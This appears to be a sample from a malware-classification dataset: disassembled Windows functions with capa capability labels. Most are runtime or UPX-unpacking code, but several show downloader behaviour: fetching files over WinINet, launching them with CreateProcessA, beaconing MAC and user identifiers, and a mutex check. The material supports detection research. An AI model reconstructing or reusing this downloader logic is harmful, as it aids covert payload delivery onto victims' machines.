joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401102
Capabilities:
Terminate process

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x44
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x18], 0x18
mov eax, dword [ebp - 0x18]
mov eax, dword fs:[eax]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 4]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xc], 0
jmp 0x40115e
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x14]
jne 0x40114d
mov dword [ebp - 0xc], 1
jmp 0x401188
mov dword [esp], 0x3e8
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x20], 0x4060b4
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], 0
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
mov edx, dword [ebp - 0x20]
lock cmpxchg dword [edx], ecx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x40113c
mov eax, dword [0x4060b8]
cmp eax, 1
jne 0x4011a0
mov dword [esp], 0x1f
call fcn.00402a48
jmp 0x4011d3
mov eax, dword [0x4060b8]
test eax, eax
jne 0x4011c9
mov dword [0x4060b8], 1
mov dword [esp + 4], 0x408014
mov dword [esp], 0x40800c
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
jmp 0x4011d3
mov dword [0x40601c], 1
mov eax, dword [0x4060b8]
cmp eax, 1
jne 0x4011fb
mov dword [esp + 4], 0x408008
mov dword [esp], section..CRT
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
mov dword [0x4060b8], 2
cmp dword [ebp - 0xc], 0
jne 0x401217
mov dword [ebp - 0x2c], 0x4060b4
mov dword [ebp - 0x30], 0
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
xchg dword [eax], edx
mov eax, dword [entry1]
test eax, eax
je 0x401241
mov eax, dword [entry1]
mov dword [esp + 8], 0
mov dword [esp + 4], 2
mov dword [esp], 0
call eax
sub esp, 0xc
call fcn.00401ee1
mov dword [esp], 0x401ffc
mov eax, dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call eax
sub esp, 4
mov dword [0x406074], eax
mov dword [esp], section..text
call sub.api_ms_win_crt_runtime_l1_1_0.dll__set_invalid_parameter_handler
call fcn.00401880
mov eax, dword [0x406004]
mov dword [esp + 4], 0x406008
mov dword [esp], eax
call fcn.004013c8
call fcn.004016bc
mov eax, dword [0x403028]
mov edx, dword [0x40600c]
mov dword [eax], edx
mov ecx, dword [0x40600c]
mov edx, dword [0x406008]
mov eax, dword [0x406004]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.00401590
mov dword [0x406014], eax
mov eax, dword [0x406018]
test eax, eax
jne 0x4012d0
mov eax, dword [0x406014]
mov dword [esp], eax
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
mov eax, dword [0x40601c]
test eax, eax
jne 0x4012de
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
mov eax, dword [0x406014]
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret
Function at 0x4012eb
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [0x40604c], 1
mov dword [0x406050], 1
mov dword [0x406054], 1
mov dword [ebp - 4], 0x400000
mov eax, dword [ebp - 4]
movzx eax, word [eax]
cmp ax, 0x5a4d
je 0x40132c
mov eax, 0
jmp 0x4013c6
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp - 4]
add eax, edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
cmp eax, 0x4550
je 0x40134f
mov eax, 0
jmp 0x4013c6
mov eax, dword [ebp - 8]
add eax, 0x18
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
movzx eax, ax
cmp eax, 0x10b
je 0x401371
cmp eax, 0x20b
je 0x401396
jmp 0x4013c1
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x5c]
cmp eax, 0xe
ja 0x401383
mov eax, 0
jmp 0x4013c6
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x4013c6
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x6c]
cmp eax, 0xe
ja 0x4013ae
mov eax, 0
jmp 0x4013c6
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x4013c6
mov eax, 0
leave
ret

Function at 0x401888
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x24
lea eax, [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov dword [esp], 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x1b
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov ebx, dword [ebp - 0xc]
mov dword [esp], 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov dword [esp + 8], ebx
mov edx, dword [ebp + 8]
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.00402864
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort

Function at 0x40245c
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movzx eax, word [eax]
cmp ax, 0x5a4d
je 0x40247b
mov eax, 0
jmp 0x4024bf
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp - 4]
add eax, edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
cmp eax, 0x4550
je 0x40249e
mov eax, 0
jmp 0x4024bf
mov eax, dword [ebp - 8]
add eax, 0x18
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
cmp ax, 0x10b
je 0x4024ba
mov eax, 0
jmp 0x4024bf
mov eax, 1
leave
ret
Function at 0x4024c1
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp + 8]
add eax, edx
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0
mov eax, dword [ebp - 0xc]
movzx eax, word [eax + 0x14]
movzx edx, ax
mov eax, dword [ebp - 0xc]
add eax, edx
add eax, 0x18
mov dword [ebp - 4], eax
jmp 0x402520
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
cmp dword [ebp + 0xc], eax
jb 0x402518
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0xc]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 8]
add eax, edx
cmp dword [ebp + 0xc], eax
jae 0x402518
mov eax, dword [ebp - 4]
jmp 0x402534
add dword [ebp - 8], 1
add dword [ebp - 4], 0x28
mov eax, dword [ebp - 0xc]
movzx eax, word [eax + 6]
movzx eax, ax
cmp dword [ebp - 8], eax
jb 0x4024f5
mov eax, 0
leave
ret
Function at 0x401640
Capabilities:
Create directory
Delete file
Get common file path

Disassembly:
sub esp, 0x318
push ebx
push ebp
push str.g_b96o
mov ebp, ecx
push 0x404010
call fcn.00401860
push 0x4045a4
push str.g_b96o
call sub.MSVCRT.dll_fopen
mov ebx, eax
add esp, 8
test ebx, ebx
jne 0x40167c
pop ebp
pop ebx
add esp, 0x318
ret 4
push esi
lea eax, [esp + 0x220]
push edi
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov edx, dword [esp + 0x32c]
mov edi, str.WINDOWSQedir_
or ecx, 0xffffffff
xor eax, eax
mov byte [edx + 2], 0
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
mov edx, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x32c]
mov ecx, edx
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call sub.MSVCRT.dll__mkdir
push 0
push 0x5d3
push ebx
call sub.MSVCRT.dll_fseek
add esp, 0x10
push ebx
lea ecx, [esp + 0x14]
push 4
push ecx
call sub.MSVCRT.dll_fgets
mov al, byte [esp + 0x1e]
add esp, 0xc
cmp al, 0x65
jne 0x401705
xor al, al
mov byte [esp + 0x12], al
cmp byte [esp + 0x11], 0x41
jne 0x401714
cmp al, 0x41
je 0x401821
lea edx, [esp + 0x10]
push edx
call sub.MSVCRT.dll_atoi
push ebx
push eax
lea eax, [esp + 0x12c]
push eax
call sub.MSVCRT.dll_fgets
lea edi, [esp + 0x130]
or ecx, 0xffffffff
xor eax, eax
push ebx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call sub.MSVCRT.dll_fgetc
push 9
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 0x18
mov esi, eax
push 8
push esi
call fcn.004015e0
add esp, 8
push 0
push 0x80
push 3
push 0
push 3
push 0x80000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
jne 0x401763
mov eax, dword [esp + 0x32c]
push esi
push eax
lea ecx, [esp + 0x24]
push str._s_s.exe
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 0x14
mov ecx, ebp
call fcn.00401590
push 0
mov ecx, ebp
call fcn.00401e10
test eax, eax
jne 0x4017da
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
mov ecx, ebp
call fcn.00401e10
test eax, eax
je 0x4017c2
push 0x40444c
call sub.MSVCRT.dll_atoi
add esp, 4
mov esi, eax
lea edx, [esp + 0x1c]
lea eax, [ebp + 0x208]
push edx
push eax
mov ecx, ebp
call fcn.00401860
lea ecx, [esp + 0x1c]
push ecx
call fcn.00402740
lea eax, [esi + esi*4]
add esp, 4
lea eax, [eax + eax*4]
lea edx, [eax + eax*4]
shl edx, 3
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4016e7
push ebx
call sub.MSVCRT.dll_fclose
add esp, 4
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.g_b96o
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x318
ret 4
Function at 0x401860
Capabilities:
Check internet connectivity via wininet
Create http request
Download and write a file
Get http content length
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
mov eax, 0x10060
call fcn.00402b90
push ebx
push ebp
push esi
xor ebx, ebx
push edi
lea eax, [esp + 0x1c]
push ebx
push eax
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
test eax, eax
jne 0x401890
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0x10060
ret 8
call dword [sym.imp.WINMM.dll_timeGetTime]
push eax
lea ecx, [esp + 0x34]
push str.Agent_ld
push ecx
call sub.MSVCRT.dll_sprintf
mov al, byte [esp + 0x28]
add esp, 0xc
test al, 4
push ebx
push ebx
push ebx
jne 0x4018bd
lea edx, [esp + 0x3c]
push 4
push edx
jmp 0x4018c3
lea eax, [esp + 0x3c]
push ebx
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebp, eax
cmp ebp, ebx
jne 0x4018df
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0x10060
ret 8
mov ecx, dword [str.Accept:___r_n_r_n]
mov eax, dword [0x404600]
mov edx, dword [0x4045fc]
mov dword [esp + 0x20], ecx
mov ecx, dword [0x404604]
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], ecx
lea edi, [esp + 0x20]
or ecx, 0xffffffff
xor eax, eax
mov dword [esp + 0x24], edx
push ebx
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x10078]
push 0x84000100
not ecx
dec ecx
lea edx, [esp + 0x28]
push ecx
push edx
push eax
push ebp
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
cmp esi, ebx
jne 0x401945
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0x10060
ret 8
mov ecx, dword [esp + 0x10078]
push 0x4045f4
push ecx
call sub.MSVCRT.dll_fopen
mov edi, eax
add esp, 8
cmp edi, ebx
jne 0x401970
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0x10060
ret 8
lea edx, [esp + 0x18]
push ebx
lea eax, [esp + 0x14]
push edx
push eax
push 0x20000005
push esi
mov dword [esp + 0x24], ebx
mov dword [esp + 0x2c], 4
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
jne 0x40199b
mov dword [esp + 0x10], ebx
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x74]
push 0x4000
push edx
push esi
call ebx
test eax, eax
je 0x4019e6
mov eax, dword [esp + 0x14]
push edi
test eax, eax
je 0x401a06
push 1
push eax
lea eax, [esp + 0x7c]
push eax
call sub.MSVCRT.dll_fwrite
add esp, 0x10
lea ecx, [esp + 0x14]
lea edx, [esp + 0x70]
push ecx
push 0x4000
push edx
push esi
call ebx
test eax, eax
jne 0x4019b7
push ebp
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call sub.MSVCRT.dll_fclose
add esp, 4
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10060
ret 8
call sub.MSVCRT.dll_fclose
add esp, 4
push ebp
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10060
ret 8
Function at 0x401a30
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Terminate process

Disassembly:
push esi
push str.XLXNDXS
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x401a5e
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop esi
ret
Function at 0x4020f0
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x128
push esi
push edi
xor edi, edi
push edi
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
lea eax, [esp + 8]
push eax
push esi
mov dword [esp + 0x10], 0x128
call sub.KERNEL32.dll_Process32First
lea ecx, [esp + 8]
inc edi
push ecx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x402117
mov eax, edi
pop edi
pop esi
add esp, 0x128
ret
Function at 0x402140
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
sub esp, 0x764
push ebx
push ebp
push esi
push edi
mov ecx, 0xe
xor eax, eax
lea edi, [esp + 0x2d]
mov byte [esp + 0x2c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.RPCRT4.dll_UuidCreateSequential]
test eax, eax
jne 0x402203
mov edx, dword [esp + 0x22]
lea ecx, [esp + 0x2c]
push 0x10
and edx, 0xff
push ecx
push edx
call sub.MSVCRT.dll__itoa
mov ecx, dword [esp + 0x2f]
lea eax, [esp + 0x42]
push 0x10
and ecx, 0xff
push eax
push ecx
call sub.MSVCRT.dll__itoa
mov eax, dword [esp + 0x3c]
lea edx, [esp + 0x58]
push 0x10
and eax, 0xff
push edx
push eax
call sub.MSVCRT.dll__itoa
mov edx, dword [esp + 0x49]
lea ecx, [esp + 0x6e]
push 0x10
and edx, 0xff
push ecx
push edx
call sub.MSVCRT.dll__itoa
mov ecx, dword [esp + 0x56]
lea eax, [esp + 0x84]
push 0x10
and ecx, 0xff
push eax
push ecx
call sub.MSVCRT.dll__itoa
mov eax, dword [esp + 0x63]
lea edx, [esp + 0x9a]
push 0x10
and eax, 0xff
push edx
push eax
call sub.MSVCRT.dll__itoa
add esp, 0x48
mov ebx, dword [sym.imp.USER32.dll_wsprintfA]
lea ebp, [esp + 0x2c]
mov dword [esp + 0x10], 6
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 1
jne 0x40225d
push ebp
lea ecx, [esp + 0x274]
push 0x404668
push ecx
call ebx
lea edi, [esp + 0x27c]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x10]
add ebp, 0xa
dec eax
mov dword [esp + 0x10], eax
jne 0x402215
lea eax, [esp + 0x5e]
lea ecx, [esp + 0x54]
push eax
lea edx, [esp + 0x4e]
push ecx
lea eax, [esp + 0x48]
push edx
lea ecx, [esp + 0x42]
push eax
lea edx, [esp + 0x3c]
push ecx
push edx
lea eax, [esp + 0x80]
push str._s__s__s__s__s__s
push eax
call ebx
call fcn.004020f0
push eax
lea ecx, [esp + 0x8c]
push str.l798_nL_f_f
push ecx
push str.lzzxB99____AHH_IKDHLRRRTK
lea edx, [esp + 0x19c]
push str._s_mac_suserid_sjinchengshu_d
push edx
call sub.MSVCRT.dll_sprintf
add esp, 0x38
push 0
push 0
push 0
push 0
push str.Google_page
call dword [sym.imp.WININET.dll_InternetOpenA]
push 0
mov esi, eax
push 0x80000000
push 0
lea eax, [esp + 0x178]
push 0
push eax
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
lea ecx, [esp + 0x14]
lea edx, [esp + 0x374]
push ecx
mov edi, eax
push 0x400
push edx
push edi
mov dword [esp + 0x24], 0
call dword [sym.imp.WININET.dll_InternetReadFile]
push edi
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call edi
push esi
call edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x764
ret
Function at 0x402740
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x54
push ebx
mov ebx, dword [esp + 0x5c]
push esi
push 0x4045a4
push ebx
call sub.MSVCRT.dll_fopen
mov esi, eax
add esp, 8
test esi, esi
jne 0x402766
pop esi
or eax, 0xffffffff
pop ebx
add esp, 0x54
ret
push edi
push esi
call sub.MSVCRT.dll_fgetc
add esp, 4
cmp al, 0x4d
jne 0x4027cf
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x1c]
rep stosd dword es:[edi], eax
lea eax, [esp + 0xc]
lea ecx, [esp + 0x1c]
push eax
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push ebx
push 0
mov dword [esp + 0x44], 0x44
mov dword [esp + 0x70], 1
mov word [esp + 0x74], 5
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4027cf
mov edx, dword [esp + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call edi
mov eax, dword [esp + 0xc]
push eax
call edi
push esi
call sub.MSVCRT.dll_fclose
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
add esp, 0x54
ret

Function at 0x402bcc
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x403140
push 0x402cfe
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 4], 0
push 1
call dword [sym.imp.MSVCRT.dll___set_app_type]
pop ecx
or dword [0x404710], 0xffffffff
or dword [0x404714], 0xffffffff
call dword [sym.imp.MSVCRT.dll___p__fmode]
mov ecx, dword [0x40470c]
mov dword [eax], ecx
call dword [sym.imp.MSVCRT.dll___p__commode]
mov ecx, dword [0x404708]
mov dword [eax], ecx
mov eax, dword [sym.imp.MSVCRT.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x404718], eax
call fcn.00402cfd
cmp dword [0x4046f0], 0
jne 0x402c4f
push 0x402cfa
call dword [sym.imp.MSVCRT.dll___setusermatherr]
pop ecx
call fcn.00402ce8
push 0x40400c
push 0x404008
call sub.MSVCRT.dll__initterm
mov eax, dword [0x404704]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push dword [0x404700]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.MSVCRT.dll___getmainargs]
push 0x404004
push section..data
call sub.MSVCRT.dll__initterm
call dword [sym.imp.MSVCRT.dll___p___initenv]
mov ecx, dword [ebp - 0x20]
mov dword [eax], ecx
push dword [ebp - 0x20]
push dword [ebp - 0x2c]
push dword [ebp - 0x1c]
call fcn.004010b0
add esp, 0x30
mov dword [ebp - 0x24], eax
push eax
call dword [sym.imp.MSVCRT.dll_exit]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x30], ecx
push eax
push ecx
call sub.MSVCRT.dll__XcptFilter
pop ecx
pop ecx
ret
Function at 0x41e7b0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x18000]
push edi
or ebp, 0xffffffff
jmp 0x41e7d2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x41e7d9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x41e7c8
mov eax, 1
add ebx, ebx
jne 0x41e7eb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x41e7e0
jne 0x41e7fc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41e7e0
xor ecx, ecx
sub eax, 3
jb 0x41e810
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x41e882
mov ebp, eax
add ebx, ebx
jne 0x41e81b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x41e828
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x41e84c
inc ecx
add ebx, ebx
jne 0x41e838
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x41e82d
jne 0x41e849
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41e82d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41e86c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41e85d
jmp 0x41e7ce
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41e86c
add edi, ecx
jmp 0x41e7ce
pop esi
mov edi, esi
mov ecx, 0x44b
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41e88a
cmp byte [edi], 4
jne 0x41e88a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x41e88f
lea edi, [esi + 0x1c000]
mov eax, dword [edi]
or eax, eax
je 0x41e907
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1f8b0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1f950]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41e8bc
mov ecx, edi
jns 0x41e8eb
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1f954]
or eax, eax
je 0x41e901
mov dword [ebx], eax
add ebx, 4
jmp 0x41e8d9
call dword [esi + 0x1f958]
popal
jmp section.UPX0
Function at 0x401249
Capabilities:
Resolve function by parsing pe exports

Disassembly:
jmp 0x47e070
sub esp, 0x10
push esi
mov esi, ecx
mov eax, dword [esi + 0x8c]
test eax, eax
jne 0x47e28e
cmp dword [esi + 0x78], 0xffffffff
push ebx
push edi
jne 0x47e153
lea eax, [esp + 0x10]
push 0x48
mov dword [esp + 0x1c], 0
mov dword [esp + 0x14], 0x837188
mov dword [esp + 0x18], eax
call fcn.0040105a
add esp, 4
test eax, eax
je 0x47e0cf
mov ecx, dword [esi + 0x84]
push 4
push ecx
push 1
push 0x75668c
mov ecx, eax
call fcn.0040680c
jmp 0x47e0d1
xor eax, eax
push eax
lea ecx, [esp + 0x14]
call fcn.004069a6
mov eax, dword [esi + 0x5c]
mov ebx, 1
cmp eax, ebx
jbe 0x47e128
mov edx, dword [esi + 0x4c]
mov edi, dword [edx + ebx*4]
push 8
call fcn.0040105a
add esp, 4
test eax, eax
je 0x47e106
mov dword [eax], 0x837188
mov dword [eax + 4], edi
jmp 0x47e108
xor eax, eax
test eax, eax
mov ecx, dword [esp + 0x14]
mov dword [ecx], eax
je 0x47e120
mov edx, dword [esp + 0x14]
mov eax, dword [edx]
mov dword [esp + 0x14], eax
inc dword [esp + 0x18]
mov eax, dword [esi + 0x5c]
inc ebx
cmp ebx, eax
jb 0x47e0e7
push 0x90
call fcn.0040105a
add esp, 4
test eax, eax
je 0x47e147
lea ecx, [esp + 0x10]
push ecx
mov ecx, eax
call fcn.004032b5
jmp 0x47e149
xor eax, eax
mov dword [esi + 0x98], eax
mov byte [eax + 0x36], 1
mov eax, dword [esi + 0x94]
test eax, eax
je 0x47e1b4
mov edx, dword [esi + 0x80]
mov ecx, dword [eax + 0x80]
or ecx, edx
mov edx, dword [esp + 0x20]
mov dword [eax + 0x80], ecx
mov ecx, dword [esi + 0x94]
mov eax, dword [ecx + 0x80]
push edx
mov dword [esi + 0x80], eax
call fcn.00401249
mov eax, dword [esi + 0x94]
mov ecx, dword [eax + 0x8c]
mov dword [esi + 0x8c], ecx
mov edx, dword [eax + 0x80]
pop edi
pop ebx
mov dword [esi + 0x80], edx
pop esi
add esp, 0x10
ret 4
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x164]
mov edx, dword [eax]
lea edi, [esi + 0x9c]
push edi
mov ecx, eax
call dword [edx + 0x3c]
mov ebx, eax
test ebx, ebx
jne 0x47e213
cmp dword [edi + 0xc], eax
push ebp
mov ebp, dword [esi + 0x84]
mov ebx, edi
je 0x47e200
mov dword [edi + 0xc], eax
mov dword [edi + 8], eax
mov eax, dword [edi]
push eax
call fcn.005d8be0
add esp, 4
mov dword [edi], 0
mov dword [edi + 4], 0
xor eax, eax
mov dword [edi + 0x10], ebp
mov dword [edi], 0x73a01c
mov dword [edi + 4], eax
mov dword [edi + 8], eax
mov dword [edi + 0xc], eax
pop ebp
mov eax, dword [ebx + 0x10]
mov ecx, dword [esi + 0x84]
cmp eax, ecx
je 0x47e23d
lea edx, [esp + 0xc]
push edx
push ecx
mov ecx, dword [ebx]
push eax
mov eax, dword [ebx + 4]
push eax
lea edi, [esi + 0xb0]
push ecx
mov ecx, edi
call fcn.0040b3ca
mov ebx, edi
mov eax, dword [esi + 0x80]
test eax, eax
je 0x47e253
mov eax, dword [esp + 0x20]
test eax, eax
jne 0x47e253
or dword [esi + 0x7c], 2
mov edx, dword [esi + 0x90]
mov ecx, dword [edx + 4]
mov edx, dword [esi + 0x78]
mov eax, dword [ecx]
push ebx
push edx
mov edx, dword [esi + 0x7c]
push edx
call dword [eax + 0x88]
mov ecx, dword [esi + 0x80]
test ecx, ecx
mov dword [esi + 0x8c], eax
je 0x47e28c
mov ecx, dword [esi + 0x90]
mov edx, dword [ecx + 4]
mov dword [edx + 0xb0], eax
pop edi
pop ebx
pop esi
add esp, 0x10
ret 4